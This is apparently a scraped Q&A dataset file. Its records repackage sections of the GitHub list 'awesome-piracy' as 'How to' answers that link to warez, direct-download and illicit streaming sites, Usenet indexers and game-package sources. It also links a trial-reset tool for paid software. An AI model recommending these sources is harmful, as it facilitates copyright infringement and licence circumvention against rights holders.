[NZBCat](https://nzb.cat/) Meow *cough* nzb-hair-bal.\n- [DOGnzb](https://dognzb.cr/login) Invite-only NZB site.\n- [omgwtfnzbs](https://omgwtfnzbs.me/login) Invite-only NZB indexer with a funny name.\n\n#### Free Indexers\n- [6box](https://6box.me/) :star2: A recently revived free Usenet indexing service with a generous API\n- [Usenet Crawler](https://usenet-crawler.com/) Usenet indexer with API access for registered users\n- [NZBIndex](https://www.nzbindex.com) The first free Usenet indexer you find in your Google search results\n- [Binsearch](https://www.binsearch.info/) With this site you can search and browse binary Usenet newsgroups.\n- [NZBKing](http://nzbking.com/) This service allows you to search and browse binary files that have been posted to Usenet newsgroups.\n- [GingaDADDY](https://www.gingadaddy.com/) Another popular free NZB indexer, requires sign-up", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637304"}
{"id": "gh_f486d469033b", "question": "How to: Usenet Clients", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [SABnzbd](https://sabnzbd.org/) :star2: SABnzbd is an Open Source Binary Newsreader written in Python.\n- [NZBget](https://nzbget.net/) Efficient Usenet downloader written in C++\n- [Usenetic](https://www.usenetic.com/) The full-featured Usenet client for Mac OSX\n- [Unison](https://panic.com/blog/the-future-of-unison/) OS X app for accessing Usenet Newsgroups and the many wonders and mysteries contained within (discontinued)\n- [spotweb](https://github.com/spotweb/spotweb) Spotweb is a decentralized Usenet community based on the Spotnet protocol.\n- [Newsbin](http://newsbin.com/about.php) Newsbin is software for Microsoft Windows Operating Systems that downloads files from Usenet Newsgroups.\n- [NZBVortex 3](https://www.nzbvortex.com/landing/) Simply the best Usenet client for Mac\n- [alt.binz](https://www.altbinz.net/) alt.binz is a powerful binary newsreader, for downloading and managing articles from Usenet.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637310"}
{"id": "gh_e93532c918b3", "question": "How to: Download Managers", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [JDownloader2](https://jdownloader.org/jdownloader2) :star2: JDownloader is a free, open-source download management tool with a huge community of developers that makes downloading as easy and fast as it should be.\n- [Internet Download Manager](https://www.internetdownloadmanager.com/) shareware download manager for Windows\n- [idm-trial-reset](https://github.com/J2TeaM/idm-trial-reset) Use IDM forever without cracking.\n- [Persepolis](https://github.com/persepolisdm/persepolis) An open source download manager and GUI for Aria2 written in Python with IDM like browser integration. Cross platfrom.\n- [pyLoad](https://pyload.net/) Free and Open Source download manager written in Python and designed to be extremely lightweight, easily extensible and fully manageable via web\n- [Xtreme Download Manager](https://subhra74.github.io/xdm/#) Xtreme Download Manager is a tool that claims to increase download speeds by up to 500%.\n- [Plowshare](https://github.com/mcrapet/plowshare) Command-line tool and engine for managing sharing websites\n- [FreeDownloadManager](https://www.freedownloadmanager.org/) FDM can boost all your downloads up to 10 times, process media files of various popular formats, drag & drop URLs right from a web browser as well as simultaneously download multiple files! Compatible with  Google Chrome, Mozilla Firefox, Microsoft Edge, Internet Explorer and Safari\n- [EagleGet](http://www.eagleget.com/) EG is a free all-in-one download manager, lightweight and fast, supports all popular browsers and downloads from many streaming services, a perfect alternative to IDM.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637318"}
{"id": "gh_377fd4857ef2", "question": "How to: Custom Google Search Engines", "question_body": "About Igglybuff/awesome-piracy", "answer": "- These all do the same thing:\n    - [FileChef](http://filechef.com/)\n    - [The Eye CGS Engine](https://cgs.the-eye.eu/)\n    - [opendirectory-finder](https://ewasion.github.io/opendirectory-finder/)\n    - [lumpySoft.com](https://lumpysoft.com/)\n- [Musgle](http://www.musgle.com/) Searches specifically for music\n- [Jimmyr](http://www.jimmyr.com/mp3_search.php) Also searches for music", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": true, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637325"}
{"id": "gh_6e1fd209aa4f", "question": "How to: FTP Indexers", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Davos](https://github.com/linuxserver/davos) Web-based FTP automation for Linux servers.\n- [Napalm FTP Indexer](https://www.searchftps.net/) NAPALM FTP Indexer lets you search and download files located on public FTP servers.\n- [Mamont's open FTP Index](http://www.mmnt.net/) Browsable directory listing of publicly available FTP-sites", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637330"}
{"id": "gh_a48e26050306", "question": "How to: DDL Search Engines and Crawlers", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [ololo](https://ololo.to/) ololo is a video streaming link search engine.\n- [MegaSearch](http://megasearch.co) Search engine for finding content hosted on Mega and other premium hosts like OpenLoad\n- [VideoSpider](https://videospider.in/) VideoSpider crawls various websites and search engines to find movie and TV episode streaming links\n- [Orion](https://orionoid.com/) :star2: Orion is a service that indexes metadata and links from a variety of public websites and networks, including torrent, Usenet, and hoster indexes.\n- [Alluc](https://w1.alluc.uno/) Search engine with over 80 million streaming-links from over 700 VOD services, video hosters, and file-hosters\n- [OD-Database](https://od-db.the-eye.eu/) Database of searchable open directories curated by The-Eye.eu\n- [IPLIVE](https://iplive.club/) DDL search engine\n- [SoftArchive](https://sanet.st/full/) SoftArchive or SA is a scene release website, more known for new releases of software, games, music, movies, and eBooks.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637336"}
{"id": "gh_3bfc41914f33", "question": "How to: DDL Link Sites", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [/r/ZippyShare](https://www.reddit.com/r/ZippyShare) DDL links hosted on ZippyShare\n- [DirtyWarez Forum](https://forum.dirtywarez.com/) Popular warez forum with films, TV shows, ebooks, anime, games, and more\n- [snahp.it](https://snahp.it/) :star2: replaced /r/megalinks\n- [BlackPearl.biz](https://blackpearl.biz/) Drop-in replacement for snahp.it while their registrations remain closed\n- [hdencode](https://hdencode.com/)\n- [WarezForums](https://warezforums.com/) Warez forum with films, TV shows, ebooks, anime, games, and more.\n- [Movies \"R\" Us](https://moviesrus.tk) The newest movies in 1080p. Available with DDL through MediaFire and streaming through AnonFile.\n- [Movie Glide](https://www.movieglide.com/)\n- [Release BB](http://rlsbb.ru)\n- [DDLValley](https://www.ddlvalley.me/) DDL links for Movies, Games, Tv Shows, Apps, Ebooks and Music.\n- [AdiT-HD](http://adit-hd.com/) direct download site\n- [TwoDDL](http://2ddl.ws) Direct download links\n- [RapidMoviez](http://rmz.cr/)\n- [SceneSource](https://scnsrc.me/) WordPress powered website dedicated to bringing you the latest info on new scene releases\n- [MkvCage](https://www.mkvcage.ws/)\n- [MovieFiles](https://moviefiles.org/) Direct download search engine which generates Google Drive links\n- [IceFilms.info](https://www.icefilms.info/) Another DDL site with TV and movie links on FileUpload, GoUnlimited, Filecandy, and more\n- [DownArchive](http://downarchive.org/) DDL blog with premium links on a number of hosts. Lots of software\n- [PSARips](https://psarips.com/) Popular site for movies and TV shows, includes torrent files\n- [DeeJayPirate's Pastebin](https://pastebin.com/u/DeeJayPirate) Pastebin user who uploads premium links for TV shows\n- [AvaxHome](https://avxhm.se) Another DDL site with eBooks, TV, movies, magazines, software, comics, newspapers, games, graphics, etc.\n- [Moviesleak](https://moviesleak.net/)\n- [Dospelis](https://www.dospelis.net) Spanish DDL indexer\n- [movidy](https://movidy.co) Links for movies and shows in Spanish\n- [Vidics](https://www.vidics.to/)\n- [watchepisodeseries](https://watchepisodeseries.bypassed.wtf/)\n- [watchtvseries](http://watchtvseries.unblckd.club/)\n- [DownTurk](https://www.downturk.net/)\n- [ScnLog](https://scnlog.me/)\n- [filewarez.tv](https://filewarez.tv/) Invite-only, hosts both Mega and Google Drive links for TV shows\n- [Movie-blog.org](http://movie-blog.sx/) German site for movies\n- [Movieworld.to](http://movieworld.to/) Another German site for movies\n- [DDL-Warez](https://ddl-warez.to/) German site for movies, shows, books and games\n- [DDL-Music](https://ddl-music.to/) German site for music\n- [AppNee Freeware Group](https://appnee.com/) Massive DDL site, eBooks, Programs, Games, Operating Systems, etc.\n- [480mkv](http://480mkv.com/) 480p DDL for TV Shows\n- [FilmRls](https://filmrls.com/) DDL site that generally features quality previews of video content\n- [Tinymkv](https://tinymkv.xyz/) High quality small size movies/tv shows. It also does high quality HEVC movies.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637345"}
{"id": "gh_a6974dfd4bf2", "question": "How to: Premium Link Hosts", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [File sharing table](https://nafanz.github.io/) Regularly updated table of information about file hosts.\n- [Mega](https://mega.nz/) :star2:\n- [OpenLoad](https://openload.co/)\n- [RapidGator](https://rapidgator.net/)\n- [4shared](https://www.4shared.com/)\n- [Mediafire](https://www.mediafire.com/)\n- [Sendspace](https://www.sendspace.com/)\n- [Uploaded](https://uploaded.net/)\n- [Zippyshare](https://www.zippyshare.com/)\n- [NitroFlare](http://nitroflare.net/)\n- [PutLocker](https://www5.putlockertv.to/)", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637356"}
{"id": "gh_4066e4c88c25", "question": "How to: Open Directories", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [httpdirfs](https://github.com/fangfufu/httpdirfs) A filesystem which allows you to mount HTTP directory listings\n- [\"All resources I know related to Open Directories\"](https://www.reddit.com/r/opendirectories/comments/933pzm/all_resources_i_know_related_to_open_directories/) Thorough post from /u/ElectroXexual\n- [The Eye](https://the-eye.eu/public/) :star2: The Eye is a non-profit website dedicated to content archival and long-term preservation.\n- [The Holy Grail of Indexes](https://www.reddit.com/r/opendirectories/comments/75ya8g/the_holy_grail_of_indexes/) Posted by /u/shadow_hunter104\n- [36 GB of Flash Games](https://www.reddit.com/r/opendirectories/comments/902j1i/36_gb_of_flash_games_19k_files/) Posted by /u/blue_star_\n- [FileMasta](https://github.com/HerbL27/FileMasta) Search servers for video, music, books, software, games, subtitles and much more\n- [/r/opendirectories](https://www.reddit.com/r/opendirectories) Unprotected directories of pics, vids, music, software, and otherwise interesting files.\n- [opendirectories-bot](https://github.com/simon987/opendirectories-bot) Bot used on /r/opendirectories for analysing the contents of open directories posted on the subreddit\n- [Panelshow.club](http://panelshow.club/) Directory of panel show TV episodes from [/r/panelshow](https://www.reddit.com/r/panelshow)\n- [andesite](https://github.com/nektro/andesite) Easily manage access to your open directory through OAuth2\n- [OpenDirectoryDownloader](https://github.com/KoalaBear84/OpenDirectoryDownloader) Indexes open directories", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637363"}
{"id": "gh_6874266f4ce4", "question": "How to: Streaming Sites", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [How To Stream Movies, TV, Anime & Sports Online](https://www.reddit.com/r/FREEMEDIAHECKYEAH/wiki/index) :star2: Huge list by /u/nbatman\n\n#### HD Streaming\n- [/r/MovieStreamingSites](https://www.reddit.com/r/MovieStreamingSites/) Reddit, random streaming sites\n- [HD MultiredditHD](https://www.reddit.com/user/nbatman/m/streaming2/) Alternate subreddit curated by /u/nbatman\n- [Best Free Streaming](https://www.bestfreestreaming.com/) Site that rates streaming services\n- [YMovies](https://ymovies.tv/) Unique design, HD server with additional hosts, nice speeds, YIFY and other releases (+ torrents)\n- [HDO](https://hdo.to/) Unique design, HD server with additional hosts, also country-specific films/series\n- [M4UFree.TV](http://m4ufree.tv/) Unique design, HD server with backup and additional hosts\n- [Movie123](http://movie123.club/) Unique design, HD server with Backup and additional hosts\n- [LookMovie](https://lookmovie.ag/) Unique design, HD server, very nice speeds (offers auto quality)\n- [AZMovies](https://azmovies.xyz/) Unique design, HD server with additional hosts, also on Reddit\n- [Streamlord](http://www.streamlord.com/) Unique design, HD server (subtitles)\n- [FlixGo](https://flixgo.net/) Unique design, HD server, very nice speeds\n- [Solarmovie](https://solarmoviez.ru/solar.html) Basic streaming site layout, HD server with additional hosts, Popular Site\n- [123Movies](https://123movies.website/) Basic streaming site layout, HD server with additional hosts. Previously HDFlix.\n- [Yes! Movies](https://yesmovies.to) Basic streaming site layout, HD server with additional hosts\n- [Spacemov](http://spacemov.io/) Basic streaming site layout, HD server, only certain films have additional hosts\n- [HDOnline](https://www1.hdonline.eu) Basic streaming site layout, HD server with additional hosts\n- [#1 Movies Website](https://www1.1movies.is) Basic streaming site layout, HD server with additional hosts\n- [CMoviesHD](https://www2.cmovieshd.bz) Basic streaming site layout, HD server with additional hosts\n- [Vidcloud](https://vidcloud.icu/) Basic streaming site layout, HD server with additional hosts\n- [Series9](https://www2.series9.io/) Unique design, HD server with additional hosts\n- [Soap2day](https://www.soap2day.com/) Unique design, very nice speeds, HD server with subtitles.\n- [Best-movies.watch](https://best-movies.watch/) Unique design, more than 19000 available\n\n#### Big Media Libraries\n- [Streaming Multireddit](https://www.reddit.com/user/nbatman/m/streaming/) Reddit with all types of Streaming Links\n- [5Movies](http://5movies.to/) Large collection dating as far back as 1990\n- [2TwoMovies](https://two-movies.net/) Large collection dating as far back as 1895\n- [CafeHulu](http://cafehulu.com/) Collection of movies/TV shows + many foreign films\n- [Solarmovie.fm](http://www.solarmovie.fm/) or [Solarmovies.cc](https://solamovies.cc/) Plenty of movies and TV shows\n- [Afdah](http://afdah.to/) Large collection dating as far back as 1920\n- [YouTube](http://YouTube.com/) Contains very old films/vlogs/tutorials\n- [WorldSrc](https://worldsrc.org) Movies, software, apps, games, music, and images available for fast direct download + torrents.\n\n#### TV\n- [WatchSeries](http://dwatchseries.to/) TV series, multiple links/backups to different streaming hosts\n- [TVBox](https://tvbox.ag/) TV/Movies, easy to navigate site, multiple links/backups to different streaming hosts\n\n#### Anime\n- [Nyaa](https://nyaa.si/) BitTorrent software for cats [(Repo)](https://github.com/nyaadevs/nyaa)\n- [Hi10 Anime](https://hi10anime.com/) High-Quality 10-bit Anime Encodes\n- [Anime Kaizoku](https://animekaizoku.com/) Up to 1080p DDL links, mostly Google Drive\n- [Anime Kayo](https://animekayo.com/) Up to 1080p DDL links, mostly Google Drive (no longer updated, site is still accessible)\n- [/r/animepiracy](https://www.reddit.com/r/animepiracy) This sub is about streaming and torrent websites for anime.\n- [/r/animepiracy wiki](https://www.reddit.com/r/animepiracy/wiki/index) Lists for sourcing Anime streaming sites, manga sites, and more\n- [9Anime](https://9anime.to) Watch anime online. English anime, dubbed, subbed.\n- [All-animes](https://all-animes.com) Watch Online Anime In HD English Subbed, Dubbed.\n- [GoGo Anime](https://www3.gogoanime.in/) Popular website for watching anime\n- [AniLinkz](https://anilinkz.to/) Large database of streaming anime episodes.\n- [NyaaPantsu](https://nyaa.pantsu.cat/) Primarily Anime torrents but includes an open directory of DDL links too.\n- [Alternatives to Kiss websites](https://www.reddit.com/r/KissCartoon/wiki/alternatives) /r/KissCartoon wiki page with lots of anime sites\n- [anime-sharing](http://www.anime-sharing.com/forum/) Forum for sharing anime\n- [AniDex](https://anidex.info) Torrent tracker and indexer, primarily for English fansub groups of anime\n- [animeEncodes](https://www.animencodes.com/)\n- [Anime Twist](https://twist.moe/) An anime direct streaming site with a decent UI and video player\n- [AnimeOut](https://w", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637393"}
{"id": "gh_26cdbd3f07f9", "question": "How to: Media Centre Applications", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Plex](https://www.plex.tv/) :star2: Your content—from live and recorded TV and personal media, to on-demand web shows, video news, and podcasts—beautifully organized and ready to stream everywhere.\n- [Emby](https://emby.media/) a personal media server with apps on just about every device.\n- [Kodi](https://kodi.tv/) an award-winning free and open-source home theater/media center software and entertainment hub for digital media.\n- [OpenPHT](https://github.com/RasPlex/OpenPHT) a community-driven fork of Plex Home Theater\n- [Viewscreen](https://github.com/viewscreen/viewscreen) a personal video streaming server\n- [Streama](https://github.com/streamaserver/streama) Self-hosted streaming media server.\n- [Myflix](https://github.com/pastapojken/Myflix) Myflix tries to be a somewhat simple and lightweight \"DIY Netflix\", similar to Plex, streama or Emby, for your DIY NAS, especially aimed at the Raspberry Pi/Odroid/etc ecosystem.\n- [Stremio](https://www.stremio.com/) Multi-platform video content aggregator with a comprehensive add-on system for extending the functionality\n- [Gerbera](https://github.com/gerbera/gerbera) UPnP Media Server for 2018 (Based on MediaTomb)\n- [Serviio](http://serviio.org/) Serviio is a free media server. It allows you to stream your media files (music, video or images) to renderer devices (e.g. a TV set, Blu-ray player, games console or mobile phone) on your connected home network.\n- [OSMC](https://osmc.tv/) OSMC (short for Open Source Media Center) is a Linux distribution based on Debian that brings Kodi to a variety of devices.\n- [Subsonic](http://www.subsonic.org/pages/index.jsp) Music and movie streaming server with a client app and web frontend\n- [Rygel](https://wiki.gnome.org/Projects/Rygel) Rygel is a home media solution (UPnP AV MediaServer) that allows you to easily share audio, video, and pictures to other devices.\n- [jellyfin](https://github.com/jellyfin/jellyfin) An open-source fork of Emby", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637403"}
{"id": "gh_0e480950de47", "question": "How to: Plex Plugins", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Official Plex Plugins](https://github.com/plexinc-plugins) Repos for every official Plex Inc. plugin\n- [WebTools.bundle](https://github.com/ukdtom/WebTools.bundle) a collection of tools for Plex Media Server. Like the Unsupported AppStore (UAS)\n- [Audiobooks.bundle](https://github.com/macr0dev/Audiobooks.bundle) Plex metadata scraper for Audiobooks\n- [Sub-Zero.bundle](https://github.com/pannal/Sub-Zero.bundle) :star2: Subtitles for Plex, as good you would expect them to be. (*read*: [plans for a world without Plex plugins](https://www.reddit.com/r/PleX/comments/9n9qjl/subzero_the_future/))\n- [TvplexendChannel.bundle](https://github.com/pgaubatz/TvplexendChannel.bundle) A Tvheadend Channel Plugin for PLEX Media Server\n- [IPTV.bundle](https://github.com/Cigaras/IPTV.bundle) plays live streams (like IPTV) from an M3U playlist\n- [HDGrandSlam.bundle](https://github.com/jumpmanjay/HDGrandSlam.bundle) interfaces with HDHomeRun tuners and DVRs\n- [HDHRViewerV2.bundle](https://github.com/zynine-/HDHRViewerV2.bundle) HDHomeRun + Plex\n- [SS Plex](https://mikew.github.io/ss-plex.bundle/) Imagine if all the media scattered around the internet could be found in one collection.\n- [ExportTools.bundle](https://github.com/ukdtom/ExportTools.bundle) Export Plex Library to a csv, xlsx or m3u8 file\n- [Plex-Trakt-Scrobbler](https://github.com/trakt/Plex-Trakt-Scrobbler) Add what you are watching on Plex to trakt.tv\n- [Moviemania.bundle](https://www.reddit.com/r/MoviemaniaHQ/comments/6znf6b/plex_pluginagent_beta_1/) Textless movie posters from Moviemania.io\n- [lmwt-kiss.bundle](https://github.com/Twoure/lmwt-kiss.bundle) creates a new channel within Plex Media Server (PMS) to view content from PrimeWire.\n- [RequestChannel.bundle](https://github.com/ngovil21/RequestChannel.bundle) A Plex Channel to create requests\n- [SRT2UTF-8.bundle](https://github.com/ukdtom/SRT2UTF-8.bundle) Plex Agent that'll convert sidecar subtitle files into UTF-8\n- [PlexTools.bundle](https://github.com/jwdempsey/PlexTools.bundle) Downloads subtitles for any videos in your library from OpenSubtitles and modifies them to work with Roku clients, and converts videos to MP4 for direct play\n- [FMoviesPlus.bundle](https://github.com/coder-alpha/FMoviesPlus.bundle) Plex Media Server plug-in designed for FMovies, G2G, Primewire and more.\n- [SuperPLEX](https://normantheidiot.neocities.org/superplex/) A website dedicated to Plex Plugins.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637412"}
{"id": "gh_1905c459479f", "question": "How to: Plex Requests", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Ombi](http://ombi.io/) :star2: Want a Movie or TV Show on Plex or Emby? Use Ombi!\n- [plexrequests-meteor](https://github.com/lokenx/plexrequests-meteor) Meteor version of the original Plex Requests\n- [Mellow](https://github.com/v0idp/Mellow/) Bot which can communicate with several APIs like Ombi, Sonarr, Radarr and Tautulli which are related to home streaming. Based off of node:9.3\n- [MediaButler](https://github.com/physk/MediaButler) Discord bot for use with PleX and several other apps that work with it.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637417"}
{"id": "gh_ab036ecaa147", "question": "How to: Plex Scripts and Tools", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [plex_top_playlists](https://github.com/pbrink231/plex_top_playlists) A python script to get top weekly or top popular lists and put them in plex as playlists.\n- [JBOPS](https://github.com/blacktwin/JBOPS) Just a Bunch Of Plex Scripts\n- [plex-subtitles-normalizer](https://github.com/caridy/plex-subtitles-normalizer) CLI tool to fix subtitles needed by Plex Media Center\n- [plex_autoscan](https://github.com/l3uddz/plex_autoscan) Script to assist sonarr/radarr with plex imports.\n- [plexupdate](https://github.com/mrworf/plexupdate) script to simplify the life of Linux Plex Media Server users.\n- [plex2netflix](https://github.com/SpaceK33z/plex2netflix) See how much of your media from Plex is available on Netflix.\n- [plexReport](https://github.com/bstascavage/plexReport) Scripts to generate a weekly email of new additions to Plex\n- [plex-sync](https://github.com/jacobwgillespie/plex-sync) A simple command-line utility to synchronize watched/seen status between different Plex Media Servers.\n- [PlexIPTV](https://github.com/xiaodoudou/PlexIPTV) This app simulates a DVR device for Plex by providing a layer to any IPTV provider (that provide an m3u8 playlist)\n- [Plex Media Tagger](https://github.com/ccjensen/PlexMediaTagger) Uses the metadata held in the PlexMediaServer to tag media files\n- [PlexEmail](https://github.com/jakewaldron/PlexEmail) This script aggregates all-new TV, movie and music releases for the past configured time then optionally writes to your web directory and sends out an email.\n- [Transmogrify](https://github.com/Transmogrify-for-Plex/Transmogrify-for-Plex-chrome) A Chrome extension that adds several features to the Plex/Web 2.0 client for Plex\n- [PlexAuth](https://github.com/hjone72/PlexAuth) Plex based authentication using PHP\n- [Phlex](https://github.com/d8ahazard/Phlex) A super-sexy voice interface for the Plex HTPC\n- [Plex Redirect](https://github.com/ITRav4/PlexRedirect) a Plex landing page that redirects you to various sites.\n- [Plaxt](https://plaxt.herokuapp.com/) Webhook-based Trakt.tv scrobbling for Plex\n- [goplaxt](https://github.com/XanderStrike/goplaxt/) Full rewrite of the above, written in Go and deployable with Docker\n- [plxdwnld](https://piplong.run/plxdwnld/) Bookmarklet for downloading original files from the Plex web interface\n- [Kitana](https://github.com/pannal/Kitana) Kitana exposes your Plex plugin interfaces \"to the outside world\".\n- [Python-PlexLibrary](https://github.com/adamgot/python-plexlibrary) Python command-line utility for creating and maintaining dynamic Plex libraries based on \"recipes\".\n- [NowShowing](https://github.com/ninthwalker/NowShowing) Generates an email and web page of Plex recently added content\n- [\"My (scripted) solution to having a single Movies library for 4k and non-4k.\"](https://www.reddit.com/r/PleX/comments/afs8m9/my_scripted_solution_to_having_a_single_movies/) Post by /u/spazatk\n- [PlexMissingEpisodes](https://github.com/MysticRyuujin/PlexMissingEpisodes) Scan Plex library for missing episodes using TheTVDB#\n- [Gaps](https://github.com/JasonHHouse/Gaps) Find the missing movies in your Plex Server\n- [PlexRecs](https://github.com/nwithan8/PlexRecs) A Discord bot that provides movie and TV show recommendations from your Plex library\n- [\"I made my own Pseudo TV for Plex with Kodi and Nvidia Shield\"](https://old.reddit.com/r/PleX/comments/awsvp9/i_made_my_own_pseudo_tv_for_plex_with_kodi_and/ehox9zf/) Guide from /u/nads84 on how to make your own \"live\" TV channels with a Plex library, Kodi, and an NVIDIA Shield\n- [Varken](https://github.com/Boerderij/Varken) Standalone application to aggregate data from the Plex ecosystem into InfluxDB using Grafana for a frontend", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637427"}
{"id": "gh_3ebea7f2d66e", "question": "How to: Plex Shares", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [/r/plexshares](https://www.reddit.com/r/plexshares/) A nice place to find Plex Media Server shares.\n- [Elysium](https://elysium.to/) Plex media streaming service", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637432"}
{"id": "gh_e739183e418e", "question": "How to: Plex Transcoding", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [kube-plex](https://github.com/munnerz/kube-plex) Scalable Plex Media Server on Kubernetes -- dispatch transcode jobs as pods on your cluster!\n- [UnicornTranscoder](https://github.com/UnicornTranscoder/UnicornTranscoder) a remote transcoder for Plex Media Server\n- [Plex-Remote-Transcoder](https://github.com/wnielson/Plex-Remote-Transcoder) A distributed transcoding backend for Plex\n- [nvidia-patch](https://github.com/keylase/nvidia-patch) Unlock the transcode or 'session' limit on nVidia consumer grade GPUs", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637437"}
{"id": "gh_192fb2e08b70", "question": "How to: Plex Logging and Metrics", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Tautulli](https://tautulli.com/) :star2: Tautulli is a 3rd party application that you can run alongside your Plex Media Server to monitor activity and track various statistics.\n- [plexWatch](https://github.com/ljunkie/plexWatch) Notify and Log watched content on a Plex Media Server\n- [Plex-Data-Collector-For-InfluxDB](https://github.com/barrycarey/Plex-Data-Collector-For-InfluxDB) Collects data about your Plex server and sends it to InfluxDB", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637442"}
{"id": "gh_186f81325a1a", "question": "How to: Plex Clients", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [RasPlex](https://github.com/RasPlex/RasPlex) Rasplex is a community driven port of Plex Home Theater for the Raspberry Pi\n- [PlexConnect](https://github.com/iBaa/PlexConnect) Unofficial Plex app for Apple TV devices\n- [go-plex-client](https://github.com/jrudio/go-plex-client) A Plex.tv and Plex Media Server Go client", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637446"}
{"id": "gh_2e9ecbfe1073", "question": "How to: Console Games", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [/r/PkgLinks](https://www.reddit.com/r/PkgLinks/) A place to share working Playstation 4 PKGs\n- [NoPayStation](https://nopaystation.com) A Database for PSN content including Vita, PS3, PSX, and PSP\n- See [Discord Servers](#discord-servers) for more Switch games", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637455"}
